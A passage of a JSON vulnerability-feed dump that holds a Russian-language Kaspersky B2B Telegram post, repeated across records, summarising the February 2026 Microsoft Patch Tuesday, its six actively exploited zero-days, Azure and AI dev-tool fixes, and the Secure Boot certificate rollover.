\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \n\n\ud83d\udfe2 CVE-2026-21510 (CVSS 8.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows Shell. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u0436\u0435\u0440\u0442\u0432\u0443 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u044f\u0440\u043b\u044b\u043a \u0438\u043b\u0438 \u0441\u0441\u044b\u043b\u043a\u0443, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 SmartScreen \u0438 Mark of the Web. \u0417\u0430 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 Google TAG, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u0430.\n\n\ud83d\udfe2 CVE-2026-21513 (CVSS 8.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 MSHTML (\u043f\u0440\u0438\u0432\u0435\u0442, Internet Explorer). \u0414\u0430, IE \u043c\u0451\u0440\u0442\u0432, \u043d\u043e \u0435\u0433\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u0432\u0441\u0451 \u0435\u0449\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0430 \u0442\u0430\u043a\u043e\u0439 \u0436\u0435 \u0441\u0431\u043e\u0440\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\ud83d\udfe2 CVE-2026-21514 (CVSS 7.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0437\u0430\u0449\u0438\u0442\u044b \u0432 Microsoft Word. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0435 COM/OLE \u043e\u0431\u044a\u0435\u043a\u0442\u044b. \u0425\u043e\u0440\u043e\u0448\u0430\u044f \u043d\u043e\u0432\u043e\u0441\u0442\u044c: \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u043d\u0435\u043b\u044c \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430  \u0430\u0442\u0430\u043a\u0430 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u0417\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f\u0442 \u0432\u0441\u0451 \u0442\u0435\u0445 \u0436\u0435, \u043d\u043e \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043b\u0438 \u044d\u0442\u0438 \u0442\u0440\u0438 \u0434\u0435\u0444\u0435\u043a\u0442\u0430 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0435, \u0438\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0445.\n\n\ud83d\udfe2 CVE-2026-21519 (CVSS 7.8) \u2014 EoP \u0432 Desktop Window Manager. \u0412\u0442\u043e\u0440\u043e\u0439 \u043c\u0435\u0441\u044f\u0446 \u043f\u043e\u0434\u0440\u044f\u0434 \u0432 DWM \u043d\u0430\u0445\u043e\u0434\u044f\u0442 \u0434\u044b\u0440\u0443, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0445\u0430\u043a\u0435\u0440\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 SYSTEM. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u043f\u0430\u0442\u0447 \u0431\u044b\u043b \u043d\u0435\u043f\u043e\u043b\u043d\u044b\u043c.\n\n\ud83d\udfe2 CVE-2026-21533 (CVSS 7.8) \u2014 EoP \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 Remote Desktop Services. \u041d\u0435 \u0434\u0430\u0439\u0442\u0435 \u0441\u043b\u043e\u0432\u0443 Remote \u0432\u0430\u0441 \u043e\u0431\u043c\u0430\u043d\u0443\u0442\u044c \u2014 \u044d\u0442\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e SYSTEM. \n\n\ud83d\udfe2 CVE-2026-21525 (CVSS 6.2) \u2014 \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u0420\u0435\u0434\u043a\u0438\u0439 \u0441\u043b\u0443\u0447\u0430\u0439, \u043a\u043e\u0433\u0434\u0430 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f DoS  \u0447\u0435\u0440\u0435\u0437 \u0440\u0430\u0437\u044b\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f.\n\n\u2601\ufe0f  \u041e\u0431\u043b\u0430\u043a\u0430 \u0438 \u0418\u0418\n\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0432\u0441\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a Azure. \u041f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b Microsoft \u043d\u0430 \u0441\u0432\u043e\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014 CVE-2026-21522, \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 ACI Confidential Containers.\n\n\u0422\u0430\u043a\u0436\u0435 Microsoft \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043b\u0430\u0442\u0430\u0442\u044c \u0434\u044b\u0440\u044b \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0441 \u0418\u0418. \u0417\u0430\u043a\u0440\u044b\u0442\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e RCE \u0432 GitHub Copilot \u0438 Visual Studio (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, CVE-2026-21523 \u0438 CVE-2026-21516), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 IDE. \u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u043e\u043d\u0438 \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0442\u0438\u043f\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u043e\u043c\u043f\u0442-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438.\n\n\ud83d\udd10 Secure Boot\n\u0421 \u044d\u0442\u0438\u043c \u0430\u043f\u0434\u0435\u0439\u0442\u043e\u043c \u0430\u043a\u0442\u0438\u0432\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 Secure Boot. \u0421\u0442\u0430\u0440\u044b\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b 2011 \u0433\u043e\u0434\u0430 \u0438\u0441\u0442\u0435\u043a\u0430\u044e\u0442 \u0432 \u0438\u044e\u043d\u0435 2026, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 Windows \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u0438\u0445 \u0442\u0430\u043c, \u0433\u0434\u0435 \u044d\u0442\u043e \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0440\u0438\u0441\u043a\u0430 \u00ab\u043e\u043a\u0438\u0440\u043f\u0438\u0447\u0438\u0442\u044c\u00bb \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440. \u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Microsoft \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 \u043c\u0430\u0448\u0438\u043d\u044b, \u0433\u0434\u0435 \u043f\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u0440\u0438\u0441\u044b\u043b\u0430\u0435\u0442 \u0441\u0430\u043c\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b. \n\n#Microsoft #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 @\u041f2\u0422", "creation_timestamp": "2026-02-11T07:10:04.000000Z"}, {"uuid": "96d541ea-888e-4043-8c10-91bf78f6b920", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21519", "type": "seen", "source": "https://t.me/kasperskyb2b/2078", "content": "\ud83d\udc98 \u0424\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u0439 Patch Tuesday: \u0428\u0415\u0421\u0422\u042c \ud83d\udd25 \u0437\u0438\u0440\u043e\u0434\u0435\u0435\u0432 \u0432 \u00ab\u0433\u043e\u0440\u044f\u0447\u0438\u0439\u00bb \u0441\u0435\u0437\u043e\u043d\n\nMicrosoft \u0434\u0430\u0440\u0438\u0442 \u0432\u0441\u0435\u043c \u0432\u043b\u044e\u0431\u043b\u0451\u043d\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u043f\u0430\u0442\u0447\u0435\u0439 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e, \u043d\u043e \u0432\u043f\u0435\u0447\u0430\u0442\u043b\u044f\u0435\u0442 \u0447\u0438\u0441\u043b\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0437\u0438\u0440\u043e\u0434\u0435\u0435\u0432. \u0412\u0441\u0435\u0433\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u043e 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (62 \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432), \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 5 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 (3 EoP \u0438 2 \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438). \u0412\u0441\u0435\u0433\u043e 25 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, 12 \u2014 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, 7 \u2014 \u0441\u043f\u0443\u0444\u0438\u043d\u0433\u0443, 6 \u2014 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, 5 \u2014 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 3 \u2014 \u043a \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438. \n\n\u0426\u0435\u043b\u044b\u0445 6 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438, \u0442\u0440\u0438 \u0438\u0437 \u043d\u0438\u0445 Microsoft  \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u043a\u0430\u043a \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0451\u043d\u043d\u044b\u0435 \u0435\u0449\u0451 \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0430\u0442\u0447\u0435\u0439, \u043d\u043e \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0433\u0434\u0435 \u044d\u0442\u043e \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e. \u0412 \u043b\u044e\u0431\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0441 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u043b\u0443\u0447\u0448\u0435 \u043d\u0435 \u0442\u044f\u043d\u0443\u0442\u044c.\n\n\ud83d\udd25 \u0410\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \n\n\ud83d\udfe2 CVE-2026-21510 (CVSS 8.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows Shell. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u0436\u0435\u0440\u0442\u0432\u0443 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u044f\u0440\u043b\u044b\u043a \u0438\u043b\u0438 \u0441\u0441\u044b\u043b\u043a\u0443, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 SmartScreen \u0438 Mark of the Web. \u0417\u0430 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 Google TAG, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u0430.\n\n\ud83d\udfe2 CVE-2026-21513 (CVSS 8.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 MSHTML (\u043f\u0440\u0438\u0432\u0435\u0442, Internet Explorer). \u0414\u0430, IE \u043c\u0451\u0440\u0442\u0432, \u043d\u043e \u0435\u0433\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u0432\u0441\u0451 \u0435\u0449\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0430 \u0442\u0430\u043a\u043e\u0439 \u0436\u0435 \u0441\u0431\u043e\u0440\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\ud83d\udfe2 CVE-2026-21514 (CVSS 7.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0437\u0430\u0449\u0438\u0442\u044b \u0432 Microsoft Word. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0435 COM/OLE \u043e\u0431\u044a\u0435\u043a\u0442\u044b. \u0425\u043e\u0440\u043e\u0448\u0430\u044f \u043d\u043e\u0432\u043e\u0441\u0442\u044c: \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u043d\u0435\u043b\u044c \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430  \u0430\u0442\u0430\u043a\u0430 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u0417\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f\u0442 \u0432\u0441\u0451 \u0442\u0435\u0445 \u0436\u0435, \u043d\u043e \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043b\u0438 \u044d\u0442\u0438 \u0442\u0440\u0438 \u0434\u0435\u0444\u0435\u043a\u0442\u0430 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0435, \u0438\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0445.\n\n\ud83d\udfe2 CVE-2026-21519 (CVSS 7.8) \u2014 EoP \u0432 Desktop Window Manager. \u0412\u0442\u043e\u0440\u043e\u0439 \u043c\u0435\u0441\u044f\u0446 \u043f\u043e\u0434\u0440\u044f\u0434 \u0432 DWM \u043d\u0430\u0445\u043e\u0434\u044f\u0442 \u0434\u044b\u0440\u0443, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0445\u0430\u043a\u0435\u0440\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 SYSTEM. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u043f\u0430\u0442\u0447 \u0431\u044b\u043b \u043d\u0435\u043f\u043e\u043b\u043d\u044b\u043c.\n\n\ud83d\udfe2 CVE-2026-21533 (CVSS 7.8) \u2014 EoP \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 Remote Desktop Services. \u041d\u0435 \u0434\u0430\u0439\u0442\u0435 \u0441\u043b\u043e\u0432\u0443 Remote \u0432\u0430\u0441 \u043e\u0431\u043c\u0430\u043d\u0443\u0442\u044c \u2014 \u044d\u0442\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e SYSTEM. \n\n\ud83d\udfe2 CVE-2026-21525 (CVSS 6.2) \u2014 \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u0420\u0435\u0434\u043a\u0438\u0439 \u0441\u043b\u0443\u0447\u0430\u0439, \u043a\u043e\u0433\u0434\u0430 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f DoS  \u0447\u0435\u0440\u0435\u0437 \u0440\u0430\u0437\u044b\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f.\n\n\u2601\ufe0f  \u041e\u0431\u043b\u0430\u043a\u0430 \u0438 \u0418\u0418\n\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0432\u0441\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a Azure. \u041f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b Microsoft \u043d\u0430 \u0441\u0432\u043e\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014 CVE-2026-21522, \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 ACI Confidential Containers.\n\n\u0422\u0430\u043a\u0436\u0435 Microsoft \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043b\u0430\u0442\u0430\u0442\u044c \u0434\u044b\u0440\u044b \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0441 \u0418\u0418. \u0417\u0430\u043a\u0440\u044b\u0442\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e RCE \u0432 GitHub Copilot \u0438 Visual Studio (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, CVE-2026-21523 \u0438 CVE-2026-21516), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 IDE. \u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u043e\u043d\u0438 \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a 